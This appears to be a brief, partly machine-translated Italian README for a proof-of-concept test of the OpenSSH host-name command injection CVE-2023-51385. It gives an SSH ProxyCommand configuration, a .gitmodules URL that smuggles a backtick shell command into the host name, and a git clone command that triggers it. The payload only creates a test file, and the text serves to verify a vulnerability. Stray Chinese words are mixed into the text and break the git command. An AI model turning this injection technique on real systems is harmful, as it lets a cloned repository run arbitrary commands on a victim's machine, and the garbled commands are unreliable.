
Una verifica per CVE-2023-51385
~/.ssh/config主机 *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
Nel file .gitmodules è presente un'iniezione di comando
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
Dopo la configurazione, eseguire il seguente comando per attivarla
git 克隆 https://github.com/zls1793/CVE-2023-51385_test --recurse-submodules
Se l'esecuzione ha successo, il file cve.txt verrà generato nella directory CVE-2023-51385_test
![ image-20231225234031349 ] ( https://ltmthink-blogimages.oss-cn-hangzhou.aliyuncs.com/imgs/202312252345762.png )
Per maggiori dettagli, consulta il blog dell'articolo: